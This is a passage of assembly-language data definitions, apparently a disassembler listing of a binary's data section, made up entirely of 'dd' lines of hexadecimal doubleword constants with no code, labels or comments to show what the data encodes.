		dd 0FBB20C2h, 0B406B8D3h, 0BE2D3821h, 0E0D0F5FCh, 8E007BC1h
		dd 3AE6FDFAh, 7E46EFB0h, 0C0D3CEAh, 0FC58CF00h,	13AF68D9h
		dd 0C8AEC524h, 84D12280h, 1C31276Eh, 0C53E6761h, 0BCC5F6B3h
		dd 0E8172A98h, 4C7FEB00h, 0C0804DDDh, 1EA8C369h, 23B83F8Dh
		dd 0C904A203h, 0AEBBD840h, 26A35480h, 85CF180Ah, 171D10ABh
		dd 564E1518h, 0E4692521h, 9D101D94h, 7387000Ah,	3505C2A7h
		dd 4C752D13h, 2585C800h, 9C54521Bh, 0E6CE0380h,	3AE8608Bh
		dd 0A97DDFEBh, 0F1C09899h, 0A73962h, 9378093Ah,	5D1135BCh
		dd 9C68C628h, 46B7A00h,	378682B8h, 53A400CDh, 329317D1h
		dd 2090FA44h, 71F0D8ECh, 0A1756C06h, 2190D8Eh, 8F9EC2F1h
		dd 0F4E32E91h, 3DC842F8h, 8421DD60h, 32D188h, 0DEBA6376h
		dd 9FCBFF61h, 2329F100h, 7FC7D365h, 44140013h, 87F451FCh
		dd 97009EE3h, 0F594309Dh, 5C59D2h, 827A066Dh, 770A1E0Eh
		dd 75A33600h, 0B221C685h, 0D1C30009h, 0C02B1D59h, 341F35DEh
		dd 0C5C32542h, 1639EFB9h, 1268610h, 84A9CD44h, 0E4C602Eh
		dd 0C18AAE50h, 8114090Ch, 71548DCh, 56E9E239h, 0C8B6C097h
		dd 6E48A8BCh, 2425004Dh, 68D20B8Bh, 4A30742h, 1E5B45h
		dd 89FB4B0Eh, 0AAAC1600h, 21B34CAh, 53A90046h, 98D9E643h
		dd 0A8744C7Eh, 0BECD8503h, 0E52FBFD3h, 4A03580h, 4D12242Bh
		dd 8050539h, 7C4A8099h,	0EC008AFCh, 62CBF4D0h, 1C7FBA11h
		dd 0D4AC23h, 46BD02D8h,	9A001C86h, 6904101Eh, 1213DFBFh
		dd 417409B8h, 4BE20E08h, 3FB000C5h, 5325006Fh, 1ABCCF7Fh
		dd 0EC070B3Ch, 677D9186h, 42581960h, 0D59B008Ah, 3C661AC6h
		dd 1E30DD83h, 957B480Fh, 38A1137Ah, 0E40031AAh,	39D2FC29h
		dd 1BC9E4Dh, 497F099Fh,	7307AA3h, 0F0F300CCh, 0C04F738h
		dd 9B00D83Fh, 195ABC86h, 873A11h, 0EB0939Eh, 910413E1h
		dd 591CE800h, 0D89AF0A9h, 4EEF0F25h, 9600B35Bh,	6B62430Ch
		dd 0F12AC612h, 8173BC88h, 8F8801A4h, 6F00D07Ch,	6E62068Eh
		dd 0F3502C21h, 7930C718h, 0D42DB1A7h, 22C61D9Ch, 61803EDCh
		dd 0FFA6BFDh, 0D9007FB7h, 673B049Ah, 6709EECh, 0BD88D3E4h
		dd 0BE4C6184h, 13C3A5Eh, 0F6F887A6h, 202D2EF0h,	0AACEE100h
		dd 1ABA6F05h, 0BB0C0100h, 5E7C33D4h, 9CC13BB6h,	0EC22ABDh
		dd 407ABD0Fh, 0EB0DFD55h, 0BAE2003Bh, 0A027BB0Eh, 5D007BCCh
		dd 3F2CB353h, 1DF00FCBh, 42E89F5Fh, 0D6C56EE7h,	0E4D16D60h
		dd 75905100h, 1EA0032Fh, 0A1850FA8h, 5CA73ADFh,	0BEBB909Ch
		dd 48009654h, 5586C3C1h, 4AD4305h, 3C04AB3Eh, 0A60CC0C4h
		dd 0D896F92Fh, 7838E300h, 0B8BD33DEh, 8E40008Ch, 6E112A8Dh
		dd 0D50EAD12h, 0E2378C92h
		dd 766894FFh, 5AEE00D0h, 0DAC07EE9h, 0E505F107h, 0E06E7611h
		dd 0CAE410DEh, 58D7906h, 376C72B5h, 0F8F0D189h,	8B68D07Bh
		dd 0C3E33509h, 0ED60C0C1h, 302B0C9Eh, 4F10A496h, 0BB720DEEh
		dd 216C38h, 559F39CBh, 30DBE89Ch, 7E513A61h, 0F0EE822Fh
		dd 0C74AF71h, 4A9B1C00h, 0F2124B86h, 0A9520FE9h, 0B3E9CFEBh
		dd 70820C41h, 11034320h, 0C6BF4157h, 885CB8F1h,	241F00D5h
		dd 7B3EA1C9h, 0FDEC6A9Ah, 0B00F910Bh, 90688084h, 5C103097h
		dd 0D44DE3E3h, 0D7E43100h, 0DC0637A1h, 8071B03Ah, 0B242CA44h
		dd 7B2F90F6h, 0E811369h, 4516AAD1h, 0E83D2804h,	88E95049h
		dd 80CCF929h, 344339D8h, 0B83A1757h, 89257A80h,	9EDA4085h
		dd 62020A4Dh, 93B10FE4h, 0D588A055h, 888AA1h, 0E6735033h
		dd 61BF60D4h, 0CEB4000h, 0EC995E2Ah, 0B40E00D3h, 0F32795Bh
		dd 3F0088ACh, 0BBA54BFDh, 0F8ADE839h, 1B6C05B2h, 0C4904D91h
		dd 0E8CE81Ch, 400AF6F0h, 79984B21h, 871D02ECh, 0A02EBA94h
		dd 0AF697BC0h, 70305300h, 0F5E7F423h, 0FE5F00E8h, 3F46C551h
		dd 0D0EC6245h, 4A47A203h, 0C9F2BE52h, 0D83C7F97h, 21D39900h
		dd 0A14D888Fh, 0D70BA47Ah, 8D8254h, 621EA99Ch, 331901Ch
		dd 0E79B8C68h, 6CF82924h, 0B3707630h, 0DAF1CC00h, 191DBEB7h
		dd 0DB1F0F6Dh, 412023A1h, 5FD23F24h, 5C79F400h,	0D904C259h
		dd 0A1332E9Dh, 5BD700B0h, 564183E4h, 27CB7300h,	70EBCDB1h
		dd 0F31F13CEh, 0B06402ADh, 9380D5E7h, 27FBDD7h,	77786200h
		dd 8CEEE083h, 8AEA34h, 0E218F8A2h, 9FB07DB7h, 19147F1Bh
		dd 0EDD8E810h, 0CF2F0099h, 0DD466F4Ah, 59003196h, 9DC379F9h
		dd 756D6CDh, 7E3D2539h,	5CBF61EAh, 6F55C484h, 6D5D0F00h
		dd 0B51A3C22h, 0E8F7BB6h, 0DBA9E02Eh, 86345CE0h, 9E1F1039h
		dd 0BEC0632Ah, 4A6B5290h, 0AD9100D7h, 9932619h,	3400A0BDh
		dd 92CA5FB8h, 18F60BACh, 0A9186BF3h, 0B2002B96h, 0B84C27C0h
		dd 66473Ah, 2D3B2376h, 15CE6282h, 632E7B00h, 0B495BD21h
		dd 3AB29866h, 0C4155387h, 0A201807Fh, 9A19EC96h, 3F68F0C2h
		dd 0AA13D476h, 7C00237Eh, 0D180CE6Ah, 12BB00A0h, 0DDE76E02h
		dd 0F30A39F0h, 8C585C97h, 92735B00h, 9DF8CAh, 0DFDAFEC0h
		dd 47FAABFFh, 0C6A131Fh, 87EC01C0h, 1E04E76Fh, 9525953Fh
		dd 42106C9Eh, 0F1EC0023h, 6F50AA57h, 0C62D1DDEh, 29FF82F2h
		dd 19E0ADC5h, 0B300D50Bh, 0F9661B0Ch, 3DD03C2h,	13D40A05h
		dd 48035C3Bh, 1F2117E8h, 5F4FB8D7h, 9FB43E69h, 0D8203B00h
		dd 0AA41FB2Ch, 278EAB00h, 17F60663h, 3B7C0073h,	74CB1F40h
		dd 0C0071ACh, 9DC0168h,	1EFBE3D6h, 8033D58Dh, 7954863Bh
		dd 0D3009546h, 147DB9F5h, 14813BEh, 299428A4h, 0C07670CEh
		dd 0C8753D9Bh, 0CFB41F00h, 65B5183Ch, 83A700DBh, 0BE8D1A5Fh
		dd 601FA4Ch, 18BA2298h,	5C71F5FFh, 502AE8h, 75947120h
		dd 0AF06A50Fh, 680063F8h, 3ED9952Bh, 0E34F8h, 0E4A14C72h
		dd 100C86B0h, 3FE01800h, 0E9759F92h, 0EA1D001Ah, 24DCC2AEh
		dd 0C40EED83h, 60BEFB04h, 79FF9CD3h, 57F900A6h,	0BD3D7C54h
		dd 0DF042D4Ch, 0FA4B9955h, 7671C880h, 7E1769Ah,	0FF7E8274h
		dd 17E3003Eh, 1B03D710h, 283A6FC4h, 5306D0A5h, 0DD87002Ah
		dd 0D4929D7Fh, 6F1E54EDh, 0D9C3586Bh, 0B8BE31BDh, 32F2473h
		dd 0AD6B419h, 0A2D03668h, 10E7602h, 0FD43FB8Fh,	0A183BB00h
		dd 26F2DC9h, 34ACD3F1h,	6844B753h, 0BD002672h, 7DA3150Eh
		dd 30CBEDA9h, 1CB91D11h, 1F04D310h, 26775348h, 520D4080h
		dd 8E690E2Ch, 17FB81h, 4EC27A8Dh, 0A309D7A6h, 0F6C8C4Dh
		dd 29A420D0h, 18787130h, 1997E5C2h, 0E9090AA3h,	562BC3h
		dd 0FB673F80h, 0FA60002Fh, 7B0F405Ah, 0A30089D7h, 50FCA029h
		dd 26D045h, 7520BB80h, 84337307h, 0DF984C00h, 0F8A058BAh
		dd 0B2FA0751h, 0F07C160Fh, 5EF659F0h, 4B283660h, 1DCAC93Ch
		dd 0C0074282h, 99BC87FEh, 21132618h, 64433804h,	0B0AE5C8Fh
		dd 72356A01h, 0F1D1073Ah, 9751B352h, 0C7CCF5F9h, 4066B006h
		dd 0FC00A201h, 0CF4FA344h, 5C0EF6h, 0DD78F3F0h,	947D954Eh
		dd 6B48F701h, 628BC26Dh, 0F33160h, 0B32C5477h, 130401D3h
		dd 0E65EBC03h, 0F025ECFCh, 3193Bh, 88D0DA75h, 0AC4C8D99h
		dd 0ECDC5500h, 0FEA1399Ch, 0E84500DFh, 4A8EA205h, 0E2032199h
		dd 0CCBAEC1Bh, 26048082h, 0AF91011Dh, 87BE3CDh,	29488094h
		dd 6B0324DBh, 68EA0070h, 1F8A5FA9h, 22E235E9h, 7300E2E0h
		dd 4BA6C549h, 0BFD267h,	7A1BEACDh, 874CB945h, 0F2C4DC01h
		dd 70B0DD39h, 25EA2E8h,	0A5849FA3h, 0FC401DC7h,	34FDE664h
		dd 0B700BD70h, 68072528h, 986630h, 15E1BB81h, 9A753D03h
		dd 0F5AF8500h, 7CC7011Bh, 0F87524h, 0C67AACF4h,	53E6230Dh
		dd 5E4CF978h, 350478E7h, 58B37B1Fh, 0E7DBA0D0h,	0AFF88Eh
		dd 2E6DD8DDh, 21CD8DD5h, 326BA018h, 781C7288h, 89B01978h
		dd 7C4105Fh, 4CACF3D0h,	0C920C00Ch, 0F5DD6D4Dh,	39798E33h
		dd 36D7ABCCh, 58715950h, 5FFB1310h, 71CED580h, 0ED02B533h
		dd 7BEB35DFh, 8B50A0AFh, 7E4BF48Dh, 8E760ACh, 4CBFE929h
		dd 74698EF9h, 0B9CD6CB9h, 3E04001Fh, 792B6544h,	0DE7328E0h
		dd 62B5F800h, 6A493F22h, 91D60CFFh, 0F4C0E869h,	0F9AFA600h
		dd 74930BB5h, 0FE0C00C5h, 0CE02CABBh, 0CD00F1DDh, 0ECA276EDh
		dd 2DBA77h, 0C808E483h,	32544D60h, 0B15BDE00h, 7B8D39DDh
		dd 599D0305h, 12668AD3h, 5B1024A8h, 817CD1C0h, 503498B3h
		dd 3ADDB885h, 6433EE0Dh, 0B3901B21h, 9E000B15h,	9B5510D0h
		dd 393D8FEh, 0A09D724Ch, 5923AB53h, 5742C27h, 22DD349Bh
		dd 620622Ch, 6CB36Eh, 0D08CF7CEh, 0E6B7349Ah, 1051F062h
		dd 0C80E077h, 0AC87551Fh, 36AA3D8h, 76A40694h, 40F82B63h
		dd 9C06BFDFh, 0C69ECC86h, 31F96298h, 0BC8644F0h, 0F3006C5Eh
		dd 0C4E9728Fh, 75907E8h, 62E6567Fh, 0C97CC0F2h,	18C0EBB0h
		dd 9429F472h, 0B849C04Ah, 8024AF21h, 331CCD48h,	1C309D7h
		dd 0AF2A1821h, 0D802093Fh, 58031C6Ch, 2CF8F1E3h, 0FD3CE878h
		dd 4C924869h, 5D93B800h, 4E373094h, 8BEE48h, 1A87DF6h
		dd 3D58C00Dh, 3D000AD9h, 8BB261A5h, 3098AFE2h, 2700D5E6h
		dd 0EAC6EF7h, 2E39D3h, 8AF5E087h, 0A8E49BE3h, 74B3D609h
		dd 9DE00009h, 85A5AFh, 0D71E37ABh, 0DFB16E75h, 0AA5AA100h
		dd 73803166h, 1FEA0F8Ch, 0D1A09D4Fh, 0B759CF1Ch, 38AA1D00h
		dd 410BC279h, 56313C30h, 83A0049Eh, 0B2D4B1F9h,	7B2928F8h
		dd 55392000h, 0E481483Fh, 0A1F701C6h, 722ADC83h, 0B313002h
		dd 8027563Ah, 1EC19F08h, 0C2BBD7Bh, 0EDC266C6h,	65004E42h
		dd 0F83479E0h, 39B4F47Fh, 0D500E26Bh, 5277CF2h,	3DB065F0h
		dd 3337402h, 0E05A43A5h, 0C63734h, 9B12A804h, 0F1AE774Ah
		dd 0A7A2C800h, 9243F8EBh, 0CCF6F51h, 0B47BD2A0h, 9B74402Ch
		dd 7426FF0Fh, 95A7802Fh, 0E6817FF2h, 1C1302EEh,	0C13FA88Fh
		dd 51A49540h, 165E2900h, 44E2D889h, 3E6D007Ah, 66D388C4h
		dd 3C00F577h, 4542A3EAh, 78A8C7h, 2ABE47E1h, 9B1AB6DEh
		dd 83EE1200h, 19689413h, 0C02B0327h, 78AC0F9Dh,	0F19CE0DFh
		dd 0C10E84E8h, 7F7B9383h, 5DCB140h, 0F60CCA80h,	0A20E1F01h
		dd 73F2C027h, 6798FBE7h, 0C09AD701h, 8F89E211h,	76F7A1D0h
		dd 0B0AA541Fh, 0B5BA008Eh, 49BC585h, 1C75EB0Fh,	0CACC3E03h
		dd 0CB2842A0h, 83D0C764h
		dd 6091CBh, 0AAD5C62Ch,	0E09FAB1Ah, 0EC2B4A07h,	7980CA76h
		dd 1284CE2h, 6DBD31A1h,	0C451BC8Ch, 0F300A373h,	9D447D47h
		dd 0D929B8h, 0FBDD97BFh, 9203DB35h, 80BAE83Ah, 5DCF1E07h
		dd 0AB3896h, 1A45FF78h,	1720A456h, 0C6114800h, 5433C757h
		dd 0B4B50022h, 0F71AC069h, 0DF752316h, 856CB00h, 0FC2FC32Ah
		dd 47B701A1h, 3301C584h, 0FDABD905h, 996520BAh,	808ECB0Ch
		dd 1F2BD0B5h, 80480FA5h, 0AD88202Ah, 0DF3B59FFh, 41671650h
		dd 0DCF24E01h, 82EC17FEh, 603900A6h, 0C3AE317Ah, 0E5007BC7h
		dd 6EC20C16h, 752D011h,	9AD9F2E3h, 0AEEDD091h, 65005C2Fh
		dd 8FCE5B3Ah, 3A16F909h, 10006E4Ah, 39F6A8B2h, 2D1DB5C3h
		dd 828FE9D9h, 1D4545Ch,	54848AD5h, 0CC509043h, 0FFA381DFh
		dd 7D4FFF0h, 32A81FBEh,	0B5203FEEh, 0DF199F61h,	0E7F09990h
		dd 158F6E00h, 0F7F0B7D8h, 70410F71h, 0F9C01876h, 1932A326h
		dd 9F57C400h, 3F2DCF05h, 0D474B05Ch, 471EA6C1h,	4E6E662h
		dd 90D4E2F7h, 59DF9920h, 5E668900h, 0FE3B03C7h,	38C8094Ah
		dd 3900AE2Eh, 0E153949Dh, 65FAE500h, 4D670782h,	1C02E48Ch
		dd 0C010253Ah, 0A92DEEC8h, 6E00795Ah, 0D8AADD5Dh, 605C1Eh
		dd 0BD22CD5Bh, 208117B2h, 0CF005279h, 1CBE94A8h, 0B0BFE41h
		dd 7EA16667h, 56D48600h, 3100B06Fh, 3AEFF60h, 44AA8Eh
		dd 1826AFADh, 4D1F62C5h, 72CA4800h, 9FB23606h, 58E80Bh
		dd 99E32BB4h, 0FFF545Fh, 3E63C600h, 944AB66h, 0CBE248h
		dd 0E86987Eh, 950FAAF5h, 0B6B33Bh, 0AC7994F8h, 73BE32A4h
		dd 9EB400EFh, 48ABEADBh, 1A1F67BBh, 194F58C1h, 71403F2Dh
		dd 847DC4E7h, 992600C0h, 0CE04D915h, 20007278h,	6FA7FAB6h
		dd 47CF29h, 81C34023h, 4487A876h, 5A372E00h, 0F1FDCEF8h
		dd 8F29002Ch, 0C607B7A0h, 7B3ED5A2h, 2368034Eh,	0B87F20ABh
		dd 0B2E00Fh, 6F6ADE3Bh,	0E881C469h, 5B8DE503h, 0D99772A3h
		dd 3880050Dh, 6B9093A1h, 0F001089h, 278EA0E8h, 1E642679h
		dd 9DF244ADh, 0CD63832Ch, 0EF025E7h, 3A002447h,	0A132FB6Dh
		dd 1CFE8059h, 824158BAh, 15918156h, 0D02AE686h,	0E7003FEEh
		dd 29FCBA95h, 1C972CEDh, 4CA0F407h, 3F10E412h, 0FF77C608h
		dd 0FABD32h, 36FB5969h,	822E06C4h, 0BC47EB00h, 0B72DE9B6h
		dd 98D454E0h, 20E1846Ah, 8B05969Ch, 8E92F47Ch, 621E8E07h
		dd 0DB05A280h, 0D8B800B3h, 0EC12B4F2h, 2009B79Ch, 79DCA7h
		dd 0E16092B5h, 2825002Dh, 0C2ABB519h, 4200A25Fh, 0C3CD99F1h
		dd 3C571A52h, 0D000DFDEh, 94AB5C14h, 6200690Fh,	0EF7E8AC2h
		dd 1C89F89Ch, 94D55h, 83FE0DC4h, 1F0F465Ch, 5A1174h, 4FAB98CAh
		dd 0EAD8B8E5h, 627006h,	0FC85D0A4h, 0EBF52B33h,	0AD508C0Fh
		dd 231602Eh, 11DB2BFh, 9EEC3B8Dh, 205E3F78h, 0BB01B941h
		dd 0CA2087Dh, 79E03C96h, 0D21E01E8h, 82B3478Bh,	817EE07Ah
		dd 8CCF7400h, 0B8AD4CCDh, 0D14B0083h, 41DAD4D6h, 7E00814Fh
		dd 0AE3C4476h, 7EF4EAFh, 68E3F752h, 0B7374084h,	38134B4Dh
		dd 1800DA95h, 2FCC4C55h, 73AA0008h, 0A0693AFAh,	0EF00726Ch
		dd 13B84264h, 3C32C1E5h, 2E0367DDh, 0D2F0AEF4h,	59A046D8h
		dd 0F3CE7900h, 0DA01E651h, 0C30F303Ah, 0F852C068h, 9C6EE301h
		dd 1822FFB2h, 392B16ECh, 75F9053Fh, 41E30069h, 2A4A47DBh
		dd 0DF004F96h, 0ED13334Ch, 3825800Bh, 0F4549268h, 6C59068Eh
		dd 68DC351Eh, 0B223B400h, 0C7A13C1Ch, 2DB70F55h, 0B5002A40h
		dd 0D0BCBD3Bh, 30D5AA28h, 0BE6E580Fh, 31A301A7h, 1DD1EBA1h
		dd 0E74654F4h, 5F1CBE1h, 49442FF0h, 39077CBEh, 80C6D8C2h
		dd 76D080B6h, 137A4E8h,	168620BBh, 6F600010h, 0CB3E937Ch
		dd 0DC0041BEh, 0C8BF58ACh, 0CB3F3A5h, 29A08380h, 0D860CD20h
		dd 59A25E91h, 43B9809Bh, 1673BD5Ch, 4B00FBE5h, 0CB3CF412h
		dd 0DA550024h, 0E15B96EDh, 0CC01DD53h, 41435913h, 0A980B902h
		dd 0F7F885C1h, 0FBF1C9D0h, 7A00607Ch, 4244D58Ah, 53EDE5Eh
		dd 0C12FA640h, 0E808025h, 1E0089E7h, 0D36C17CEh, 0A91F34h
		dd 0B944D619h, 9667CC15h, 45F50D00h, 0EA2295F3h, 65F200DAh
		dd 39181A44h, 3E004E42h, 7CD2E7E4h, 0B212FDh, 674CF9F2h
		dd 3BB38311h, 1B009BF8h, 42B4B631h, 5030E9h, 35B02655h
		dd 0F423BF12h, 96F1A400h, 0D12FEAA2h, 1FD90C88h, 0D570C1CBh
		dd 82F4E30Eh, 0CF8CA058h, 41ADA2h, 0DB781596h, 0A765AE2Ah
		dd 93269000h, 0B886E4F0h, 774767Fh, 50C08D6Fh, 5E01A0C9h
		dd 4B004131h, 0A9549EE3h, 4EF1DFh, 0DE4951C0h, 0A8D8B1A7h
		dd 0CDD3A000h, 3ED4193Ah, 0A4BF5038h, 0FEF034h,	0F2B6B127h
		dd 7A1F7DB3h, 81453A3Ch, 1837B9F0h, 0F8E42D79h,	0C8910F09h
		dd 0D2237EAFh, 0E4B843EAh, 4100135Bh, 157D3975h, 31094Fh
		dd 0D43CFC84h, 0E1B3EB78h, 0CCF43Fh, 6D3DB995h,	7AEE72h
		dd 487B8159h, 0C7963634h, 11886600h, 9539E441h,	0FA62795Ch
		dd 0EA0E18CDh, 0F36B38A4h, 0E0C4CF00h, 7D0CDE4Bh, 3E0F0331h
		dd 152A8E6Ch, 38E28FD8h, 0DA44471Fh, 9082C8E6h,	0C022FB8Ah
		dd 0DD133Ch, 951798FFh,	0E79F9E15h, 1F0EFA3Eh, 0B6C0C2E2h
		dd 42BB6F28h, 0C4870090h, 4A29B95Fh, 1EE0E861h,	11C6000h
		dd 6BB73C7Fh, 475E0037h, 0E614FF42h, 0BA005B65h, 8D89CD1Ah
		dd 1F709B04h, 97D9B3F6h, 0DC44006Dh, 220C06EDh,	0DA000974h
		dd 88CAB512h, 619C65h, 63FFAE17h, 0DFEB83F9h, 705B3Dh
		dd 0D608082h, 77228D6h,	0DD6F2EF6h, 4052F0BFh, 4E0FE704h
		dd 873180C9h, 0ED40D11Dh, 0C0AC20B8h, 4D48E98h,	5F0023DAh
		dd 7612C8E2h, 7554F09h,	0E786FC93h, 85C2100Ah, 6400AEF9h
		dd 8EA41FFAh, 13DB358h,	0A5B8739Ah, 0FCC42E3Ch,	88C00AA1h
		dd 967DB5B2h, 59822E8h,	0DB8CD206h, 1C78B33Ah, 7E4A39EDh
		dd 71FEAC00h, 805B9ABCh, 0D9A0F450h, 97019972h,	615FDF6Ah
		dd 0E1D4A215h, 0A8DE94h, 0A9D4FA4Bh, 0ED0763C2h, 0DB3D0C6Dh
		dd 0D0328513h, 0ABFCC08h, 8AFF6B22h, 0B11700F7h, 0FECAD49Bh
		dd 31416300h, 4F7358E7h, 0D1E4FAh, 0A70B7E3Bh, 0D798B942h
		dd 4428C561h, 0CBD8319Bh, 0B9465861h, 29F62703h, 5FC0027Ah
		dd 6603F52Ah, 0F4C21FF7h, 5334F0A6h, 90518B1h, 6146C842h
		dd 0C601ACF4h, 6BECDB9Fh, 10F456DEh, 9BD5005Eh,	84ADC8Eh
		dd 5C034F3Ah, 0A78A7751h, 85ED8173h, 7D861FD8h,	71930017h
		dd 0EFD9DC0Bh, 0A7018926h, 29C45160h, 0C7D0BE01h, 923E1685h
		dd 0C90CAA15h, 0A86C0CCh, 0CE53E6BAh, 563800C0h, 0D1AFEA71h
		dd 2973FB09h, 0CBF075Bh, 151C600h, 0E939302Dh, 4E21B734h
		dd 2CB1A524h, 0FD44F70Bh, 0EF9F5F83h, 7AF9D81Ch, 0A00B378Fh
		dd 892FB071h, 0E6C000C1h, 0B8931C91h, 52000EEEh, 56758BA6h
		dd 6EB3A1h, 0B77C45DCh,	89245339h, 0CAD7BC00h, 515A2F0Eh
		dd 3D2206FEh, 808DBD8Ch, 9200447Ah, 0EC41CFFFh,	7EC5B5CCh
		dd 0A00680C9h, 0F47B6312h, 0F5FF7C45h, 7E92CC41h, 94204F75h
		dd 981600E2h, 0CD60136Ah, 8C00D07Bh, 9A57189h, 0FAE6A0h
		dd 6F9D0287h, 0DDA92458h, 0FD73FC00h, 30A24F78h, 5F1C583Ch
		dd 0B32C7C0Ch, 53043A78h, 0E99D4558h, 9C17881h,	0D9A99510h
		dd 9B3AF700h, 7DFEA88Dh, 1D687066h, 0C022C5FBh,	0D7318698h
		dd 67327E9h, 0B971972Eh, 81EA4580h, 1EBBAF92h, 4089C49Dh
		dd 645224EEh, 0F5071F97h, 0C92B1BD9h, 36614CB0h, 0DB7C44h
		dd 5DE84E71h
		dd 0DD5CEFB3h, 0B6AE1000h, 0DE3CA74Ah, 0B0F2F9h, 0D7DFD920h
		dd 8B43BB7h, 0F0842400h, 0AB14E4F3h, 94280062h,	13CA9E43h
		dd 4F048147h, 0F8AAF0FDh, 99061A80h, 0F41B1DB7h, 0BE8B80C8h
		dd 5B690AD7h, 9312B1B8h, 91018415h, 43B705A2h, 0B98CC4h
		dd 14FECF54h, 1C9F4CE5h, 42023826h, 0E47AF800h,	3B35FBh
		dd 223AD39Eh, 0B62F07E9h, 7037D200h, 5371D75Dh,	0B3D65035h
		dd 0C4200154h, 8A8B664Fh, 77DBE80Dh, 28B19F00h,	1062F952h
		dd 1BF6075Dh, 0E0EC91F3h, 0F832BEDBh, 8EC44B1Dh, 0DD42C8C0h
		dd 72C368Dh, 0AAA03366h, 3CC7C0FCh, 9DF0071Dh, 690CC90Fh
		dd 2413A312h, 0E031A2EFh, 33CEEB4h, 2BDD907Fh, 93C8761Dh
		dd 0B43844CCh, 0D603FCD9h, 9031731h, 21EBD02Eh,	110C03Eh
		dd 81720410h, 0AE0F75E2h, 0FEDA76B3h, 0EED20079h, 1395EDCCh
		dd 45120050h, 0B227E38Dh, 51C16BB1h, 0BEDD2D0Eh, 5E8F3180h
		dd 0A0158C2Bh, 0E8E6F877h, 0FA27D600h, 0B594E081h, 0CB4300EEh
		dd 0D22E38B8h, 0E7313A72h, 264B2111h, 76186760h, 29F003h
		dd 71F377DEh, 0C91D09CAh, 1F6FD8C0h, 0B0978E7Fh, 0A4915068h
		dd 0F0D47A86h, 0A9460013h, 29DCA5E6h, 2C005559h, 243176E4h
		dd 51DD5h, 0F9D3DDC0h, 0C34E8B84h, 17FC611Dh, 0D8B80039h
		dd 403F9677h, 0B6350034h, 0CA37443Ah, 18783D1Eh, 876A6E0Bh
		dd 58005DA4h, 0BF89B022h, 0C605A890h, 394A0E13h, 4D8E7F80h
		dd 34561740h, 0D400AB6Fh, 374D985h, 0C96C0E83h,	4E40C096h
		dd 5C427AE7h, 217C3300h, 0B5D331B0h, 0F6B7057Eh, 80358B28h
		dd 635451DFh, 0ACEBC00h, 21E52D39h, 5C770049h, 0A3507AC7h
		dd 0B80A4445h, 0C4C88B03h, 0D411B98Fh, 8E940ED4h, 0C0FA0062h
		dd 7EFFED1h, 29E780BCh,	714B10E8h, 760051E2h, 0CA0AAB2Fh
		dd 78B38F2h, 0E0BA68FCh, 0F528218Dh, 0A360DABEh, 390126F0h
		dd 1EB90525h, 5EC0BAE7h, 17BE09Bh, 0C632E22Eh, 0F8F3DE5Bh
		dd 7300FFD8h, 6859C966h, 565F24h, 7AC0DDC5h, 0D754C66Ah
		dd 0D22C9800h, 0A5681A59h, 0FC01006Ch, 8AEC3AC2h, 0F3382A91h
		dd 0EA950060h, 0D41C8862h, 49B49ABh, 6A1A1200h,	6E3A5D75h
		dd 9E263100h, 0E654422h, 0EBBE0094h, 16431F8Dh,	0C2009814h
		dd 4D198F97h, 392126Ch,	109A95D4h, 8CC01F4Ah, 4F093C6h
		dd 22BA4E07h, 0C980DD43h, 19FFA0EDh, 11AC1821h,	922701C8h
		dd 17C19813h, 0EE24E84Eh, 127A0B00h, 419BB287h,	3DED7197h
		dd 4F00F51Ch, 4842C55Fh, 10E4E5F7h, 0A81A9F63h,	0A4BAF0FFh
		dd 0B35A12CBh, 3A6EE0D4h, 1EF1D70Ch, 6453047h, 354DB256h
		dd 760978D0h, 21C5525Dh, 0B06A42F4h, 4A405061h,	32462Ah
		dd 0D1B8BAD0h, 0DE5389E4h, 30901F00h, 51EC243Bh, 94FAE5h
		dd 5BFCDB88h, 0A8A3489Eh, 8F0FD6E0h, 0B66CAFh, 7AC4C6BCh
		dd 0CD170C35h, 10789EA5h, 80A66F3Fh, 1B1E9D89h,	0A26111h
		dd 249B95A7h, 0A9641319h, 0D6E8BEF2h, 1983B39h,	0BC1BBA5Bh
		dd 1180D7DDh, 0ABD1ABFh, 7007CC0h, 88B9B3CAh, 0A53837h
		dd 0E77420A3h, 0EFB66A66h, 353ABE07h, 7F3069h, 80E94DC0h
		dd 12C31D36h, 970F8003h, 156D39C6h, 0B3813Bh, 73C443F9h
		dd 3CE542F1h, 17124F6Ch, 16B40FE1h, 0ACFAF0C0h,	20076939h
		dd 0D00CE65Dh, 448B04A0h, 0B43C007Eh, 9319A790h, 94062016h
		dd 8613310h, 23850059h,	0A43C4D2Dh, 6301361Ch, 9DEF990Fh
		dd 2E05CF6h, 167D00F0h,	9A3BD9EDh, 0BA035165h, 0DB70E017h
		dd 0ECF1D049h, 0D6D20082h, 34B79F4Ah, 0EA00613Dh, 0AEC4D073h
		dd 2058E6h, 0FF54B6D1h,	0F85BD608h, 0CAEB370Eh,	51EC175h
		dd 0C0315FBAh, 111C0h, 578D8273h, 0B19E6321h, 99420607h
		dd 2FA95AF5h, 0B2CA4118h, 0AF710CF7h, 26B68DE0h, 8118A33Fh
		dd 44A4DDB7h, 383CCFD4h, 834464h, 0C1AFA326h, 463BDEB7h
		dd 6C63D00Eh, 40D48066h, 0BABD5FEh, 0F18C5E9Ah,	914F0981h
		dd 0E30FD0A2h, 0B94C30FEh, 80C339E8h, 833108DDh, 1F52225Fh
		dd 0FBC9F79h, 0A4D45492h, 0EAA62C01h, 0D3C4870Fh, 5B59800h
		dd 0FBC1930Dh, 4D9F3D66h, 1260B3B8h, 4013A5E5h,	0C05C5Ch
		dd 38D5DDF4h, 2FEB341h,	4CAC4F16h, 80C3EA49h, 0A7DE67F0h
		dd 422B0D00h, 0C024A0DBh, 0BC080047h, 3389CC45h, 9034CCFh
		dd 0FD6DFBAEh, 38C0F0ADh, 0B385079Ch, 0E083BEh,	0CB0362C1h
		dd 88D2451Fh, 36633FC0h, 9674AFh, 2E355629h, 616D685Ah
		dd 9A84CC00h, 22DAC418h, 5C3F4D14h, 4020621Dh, 4FA2B58Ah
		dd 13006F07h, 0A4267302h, 1F1DF2A8h, 4052EDE4h,	3FC3BF29h
		dd 4F00E2F3h, 530D3DA5h, 48C4DAh, 4C5F11A1h, 0FDCCE082h
		dd 6FF79607h, 0A0AE2D79h, 0C8DCA3FFh, 0BD4A01C3h, 0EDA064F0h
		dd 6183405h, 0A1008CA6h, 3B694D5Ch, 645F86h, 0E3A04A8Ch
		dd 5F51AF0h, 14F1E00h, 0CE89783h, 21500107h, 0CA34E568h
		dd 30A57066h, 6A004490h, 0B9471881h, 5D97980Ah,	56001008h
		dd 0E3F57DCBh, 2215BFC8h, 2E8492D3h, 78269829h,	12005912h
